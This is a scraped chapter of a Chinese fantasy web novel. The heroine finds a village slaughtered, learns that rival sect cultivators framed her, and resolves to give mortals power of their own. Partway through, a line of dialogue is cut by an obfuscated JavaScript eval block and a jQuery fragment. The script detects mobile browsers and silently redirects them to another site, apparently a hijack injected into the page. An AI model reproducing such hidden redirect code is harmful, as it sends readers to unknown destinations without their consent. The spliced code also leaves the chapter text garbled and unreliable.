默认冷灰
24号文字
方正启体

116. 圈套

作者:禅宫本书字数:K更新时间:
    苍梧山下,安家村已成焦土。


    那张传讯符如石沉大海,杳无回音。


    田野荒芜,断壁残垣间散落着残缺的尸骸。几只乌鸦啄食着冰冷的血肉,见有人来,扑棱棱飞起,在空中盘旋不去。


    一条土狗伏在主人焦黑的遗骸旁,也没了气息。


    檀奉灵站在村口,双眸赤红。


    她手中掐着只剩半边翅膀的蝶妖,那妖物七窍流血,还在微弱地哀求。脚边是花妖被碾碎的尸身,两颗妖丹滚落在地,被她一脚踏成齑粉。


    随手丢开断气的怨翅蝶,檀奉灵怒急攻心,喉头一甜,咳出几口血。


    她胡乱抹去血迹,一步一步着往村里走。


    村口老槐树被拦腰折断,树干上钉着三具尸身,从左到右是村长老安伯、安员外,和他的长子安承佑,三人静静挂着,如同三面残破的幡。


    檀奉灵来时,怨翅蝶刚作完恶,正带着涎水直流的半生妖进食。


    即便是瞬发而至,她还是晚了一步。


    村长和安员外气绝。


    安承佑还剩最后一口气,碎成两半的通玄玉在他身侧。看见檀奉灵,他眸光亮了一瞬,眼里没有责怪,只有深不见底的绝望。


    “仙长……快跑……”


    气息散尽,那点光彻底黯淡。


    他是安员外长子,今年五十岁整。


    那年檀奉灵初次下山,想回遇见师尊的土地庙供奉香火。途中听闻一户人家有孕妇难产,她顺手相助,事后孩子父亲感念恩情,为长子取名“承佑”。


    那是她第一次用灵力救人。感受很复杂——庆幸释然,淡淡成就感,还有做了该做之事的踏实。


    随之而来的,是更沉的责任。


    从爬树掏鸟窝的小豆丁,到年过半百。安承佑算是她看着长大的,她以为这段尘缘终能善终。


    为何那些小妖能安然通过断尘隘?


    为何她设下的结界是打开的?


    无人能为她解答。


    村中央广场聚着数十孩童,个个瞳仁空洞,不哭不闹。那些以往绕着她嬉笑讨糖的小脸,如今木偶般呆立着。


    妖类喜食孩童血肉,这些孩子,是怨翅蝶留给那半生妖的“存粮”。


    村长家门前,倒着一对中年夫妇。男人手里紧握生锈柴刀,双目圆睁望着天空,仿佛在质问什么;女人手臂前伸,痛苦地跪在门前,似在拼命挽留。


    檀奉灵知道她在挽留谁。


    那是村长女儿与女婿,每逢省亲总带着的机灵可爱小女儿。而今那叽叽喳喳叫她“仙子姑姑”的小女童,行尸走肉般立在广场那群“存粮”之中。


    村东铁匠铺里,大牛仅剩的半个头颅血肉模糊。他成亲那日红着脸敬过她一杯浊酒:“仙长,多亏您护佑俺们安家村,俺没啥本事,但以后您要打什么兵器,俺绝不收钱。”


    旁人打趣他打的破铜烂铁仙长怎会看上,檀奉灵以茶代酒,笑着应了。


    酒肆的崔娘子不见了踪影。她总说:“仙长不饮酒,我新卤了下酒菜,您带些回去?”酒客们便起哄:“难怪崔娘子家的酒越来越淡,原是心思用在了别处。”


    现在,酒坛碎了,酒液混着血,淌了满地。


    村尾土地庙塌了半边。


    檀奉灵走过废墟,蹲下身,轻轻合上阿婆的眼睑。


    当年那孕妇母子平安后,她继续往庙里走,供奉结束,守庙的阿婆递来一碗热腾腾的芋头粥:“仙长莫嫌粗陋,世道乱,先歇口气。”


    粥很香。芋头软糯,米粒分明,暖意从喉咙一路烫到心口。


    那时她已辟谷十年,捧着那碗粥,恍惚间以为回到了中学前,放学推开门,饭菜香气扑鼻,父母从厨房探出头,笑着唤她洗手吃饭。


    这碗粥让她记起自己从何处而来,也让她头次有种此身尚有归处的感觉,她好像找到了锚点。


    阿婆看出她喜欢,后来每次来安家村,总有一碗芋头粥等着。


    从村头到村尾,她一遍遍地走。


    五十年间,她看着村子从几十户人家渐渐兴旺。在这里吃过百家饭,听过孩童笑声,见过新人成亲,送走过寿终正寝的老人。


    这里的人不怕她,不跪她,嘴上叫仙长,待她更像待自家那个不常回家的、有出息的孩子。


    曾经鸡犬相闻的安家村,如今静得只剩风声呜咽,像在低泣。


    全没了。


    檀奉灵抬起头,眼里没有泪。


    只有一片深不见底的寒。


    她救得了落霞城,却救不了待她如亲人的整村百姓。


    天道若真有眼,为何容妖魔横行,独苦苍生?世道若真有道,为何善者凄惨,恶者猖狂?


    是她太天真。以为修得几分修为,便能庇佑一方。


    这世间从不对弱者仁慈,所谓的道义,在利益与绝对力量面前,薄如蝉翼。


    头痛欲裂之际,村口苍梧山脚下传来破空声。


    数道剑光凌空飞来,落地化为十余名修士,为首几人袍袖绣着浩然宗与太玄门的纹印。


    几乎同时,另一侧空间撕裂,九方巽天现身。


    妖皇面色沉冷,眉宇间压着显而易见的烦躁。尤其是看清眼前这屠村般的景象,那张俊美邪肆的脸上竟掠过一丝罕见的慌乱。


    他霍然转向檀奉灵所在的方位。


    一群修士横剑拦住去路。


    “妖皇止步!”太玄门长老踏前一步,声如洪钟,“此乃我人族修士内务,妖族不该插手!”


    九方巽天眼底戾气一闪,只冷冷道:


    “滚开。”


    “妖皇何必心急?”


    另一名浩然宗修士接口,语气看似恭敬,话锋却带刺,“我等此行,是为捉拿勾结恶妖、残害凡人的人族叛徒檀奉灵。”


    他刻意加强“人族叛徒”四字,视线刀子般扎向从废墟走出的身影。


    九方巽天眼眸微眯:“残害凡人?就凭她?”


    恶妖如何逃出妖域,他这个妖皇再清楚不过。这会儿还有什么不明白的,自己的出现,反倒成了幕后推手伤害檀奉灵的利刃。


    “证据确凿!”


    那修士抬手一指满地尸骸,义正辞严。


    “安家村三百余口,皆死于妖物之手!而她——”


    他瞪着走近的檀奉灵,厉声喝道,“檀奉灵!你身为人修,先为一己私欲魅惑妖皇,后与恶妖为伍,引妖祸乱天下,害死无辜百姓,该当何罪?!”


    檀奉灵看着九方巽天煞气四溢的侧脸,看着那群早在此处守株待兔、鄙夷与高傲不加掩饰的修士,又缓缓转头,盯着不远处那枚碎落的通玄玉。


    玉上没有安员外的气息,也没有安承佑的。


    方才气急攻心,只顾诛杀恶妖,没察觉上面残留的灵力……


    原来如此。


    根本不是安家父子向她求救。


    是这些人,亲手捏碎了通玄玉,将她引至此地;也是这些人,打开了她的结界,放任怨翅蝶残害村民。


    他们设好了圈套,等她自投罗网,等妖皇现身,等这一切成为她“勾结妖族、屠戮凡人”的“铁证”。


    她忽然想起很多年前,宗主见她几次在凡人与机缘之间,选择先救人,叹息着说:


    “小灵,修士能救一村、守一城,但救不了天下凡人。这世间的凡俗众生,本就是被天道舍弃的。”


    那时她偏不信天定,不认命数,只笃信人定胜天,想着自己勤修苦练、广结同道,总有一天寻到办法。


    可安承佑那认命般的、连恨都生不出的绝望一眼,像一盆彻骨的冰水,浇醒了她。


    她的阵法结界防不住人心叵测,也挡不住绝对的力量碾压。


    施舍般的庇护终究是镜花水月。风雨来时,无根的浮萍,只能随波湮灭。


    “檀奉灵!”


    那名浩然宗修士见她迟迟不语,厉声催促:“还不束手就擒,随我等回山受审!”


    话音未落,一只由妖力凝成的巨手凭空出现,将他整个人攥入掌心。


    “噗”的一声轻响,血雾弥漫。


    九方巽天神情阴鸷,语调轻淡得像在闲谈,可那股子嗜血的凶戾从声音里渗出来,压得人喘不过气。


    “与吾有情,便是自甘下贱?你们这些人,真是一如既往地……找死。”


    他缓步向前,睨着脸色发白的修士们:“你们倒是说说,她为的什么私,能牺牲至此?”


    众修士本来情绪激动,以为他是为檀奉灵出头,不料人家是不满自己的威严被冒犯。


    激愤的表情霎时僵住,又听到他的质问,更是支支吾吾说不出话,毕竟牵扯到妖族秘宝,谁也不敢当众点破。


    有人在心中暗骂:早说了别正面触怒妖皇!只要咬定檀奉灵暗通妖族、抓她现行,令她百口莫辩便好。这女人不识抬举,甚至刺伤过妖皇,对方起码不会成为阻碍……都怪那浩然宗的蠢货得意忘形!


    “妖皇!得饶人处且饶人!”


    浩然宗长老硬着头皮,扯起宗门大旗:“我等绝无冒犯之意!至于这孽徒您惩治过了,还请陛下之后莫要插手我人族事务!”


    九方巽天妖瞳晦暗,蓦地低笑道:“哦?方才不是还说她心系于吾?若吾非要保她呢?”


    一众修士:“???”


    明明说的是她勾引你,何时说过心系了?


    不过这都不重要,那长老扬声接话:“她若清白,自有公断!陛下若强行干预,反会证


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245423|197874||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    实她勾结妖族之罪!”


    “公断?”


    檀奉灵终于出声。


    她平静地扫过一张张严阵以待的脸,最后看向九方巽天。


    他也正望着她。


    眼底还留着未散的懊恼,下颌绷得极紧,像在压抑着几欲喷薄的怒意。


    “你们的公断,”檀奉灵轻声说,俯身从焦土中拾起一截粗糙的竹竿,“便是用满村性命作饵,诱我入局,再以怨翅蝶屠戮百姓为证,构陷于我?”


    竹竿尖端被磨得锋利,沾着黑红的血。它的主人到死都在尝试反抗。


    修士们神色一变。


    “胡言乱语!”


    “分明是你引来妖族——”


    檀奉灵握着竹竿的手微微收紧。


    “我引来妖族,然后站在这里,等着你们来抓?”


    她忽地笑了一下,极淡,极冷。


    九方巽天眸色一凛,向前迈了半步,被她抬手止住。


    她看向他,摇了摇头。


    眼眸里清楚地写着一个字:走。


    不必为我卷入这场布好的局。


    “妖皇当真睚眦必报,为了报那一剑之仇,竟不惜与你厌憎的人修联手。”


    她唇角微垂,吐出的话颇为无情,口吻嘲弄。


    “如今目的达成,还不走?莫非真要纡尊降贵,留下来当个人证?”


    修士们闻言,眼神微妙,她居然误以为妖皇是他们请来坐实罪名的。这便是一念宗吹得天花乱坠,称之“艳绝武绝智绝”的大师姐?别把人笑死!


    不过二人决裂,于他们而言再好不过。若檀奉灵真能凭此逼走妖皇,那是正中下怀!


    九方巽天眉峰紧蹙,漆瞳沉沉,眸底藏着浓烈的不舍与担忧,甚至想不管不顾留下来保护她。然而对上她那双沉静决绝的眼,所有想说的话都堵到了喉间。


    他终是后退一步,身影随空间波纹淡去。


    临走前,深深看了她一眼。


    檀奉灵看懂了他眼里的祈求,顿了顿,面无表情地将目光移向苍梧山巅。


    那里聚集着修真界最有话语权的一群人,等着审判她这个“勾结恶妖”的罪人。


    可真正的罪是什么?


    是妖魔的利爪,是修士的漠视,是这弱肉强食的天地法则,还是天道赋予力量时的偏私与不公?


    它使人族大多生于平凡、长于孱弱,又允许异族与少数同族凌驾众生。


    恶妖肆虐横行,视人如猪狗;


    修士眼高于顶,对脚下的哀嚎无动于衷;


    凡人只得在夹缝间挣扎,苟且偷生。


    那些本该护佑同族的修士,见百姓罹难往往漠然转身,甚至……不乏助纣为虐之徒。


    而每个宗门的立宗之训,开篇无不写着“庇护苍生”。可悲的是,稀薄的灵气滋长了飞升的执念,也冻僵了悲悯之心。


    修真门派不再苛求弟子修德养性,一味鼓励他们汲取灵力、搜罗天材地宝,似乎只要修为精进,其余皆可抛却。


    凡人如同草芥,倘若有捷径可走,踏过几丛又何妨?


    然大道修心,许多修士渐失人性、弃绝良善,以致有的走火入魔,爆体而亡;有的天劫加重,被雷霆当场诛灭。


    檀奉灵垂眸看着手中这截染血的竹竿。


    凡人生来便被剥夺了握剑的权利,于是只能沦为鱼肉。


    今日是安家村,明日又会是哪里?


    既然天道失衡,那便由她,来为失重的那一端添上砝码。


    此一念起,灼得人神魂俱颤。


    她心口的火焰反而冷了下来,凝结成某种沉重而坚硬的东西。


    凡人需要的,从来不是某个仙长偶尔的垂怜。他们需要的,是能够握在自己手里的力量。


    这份力量,修真界不会给。


    那便由她来给。


    “轰隆!”


    天空骤然响起闷雷,乌云翻墨,犹如天威震怒,不容这般悖逆之念。


    那群修士如临大敌,剑光吞吐,死死锁着檀奉灵。


    天光惨淡,将她的影子拉得很长,长到覆盖了整条死寂的村道,好像要将这片土地的冤屈与沉默一同背负起来。


    檀奉灵郑重地放回那截竹竿,愿它与它的主人一同安息。


    起身时眸光冷锐如锋,抬望处,似映着六大宗门猎猎旌旗,更直透层云翻涌,刺向那更高、更远,也更冷漠的天穹。


    该上山了。


    也该叫某些高高在上的存在看看,


    什么,才是真正的罪与罚。


    与此同时,妖域深处。


    檀羽于静坐中猛然睁眼,一股强烈的不安冲击心神,冥冥之中,仿佛有什么在急切呼唤她的回归。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)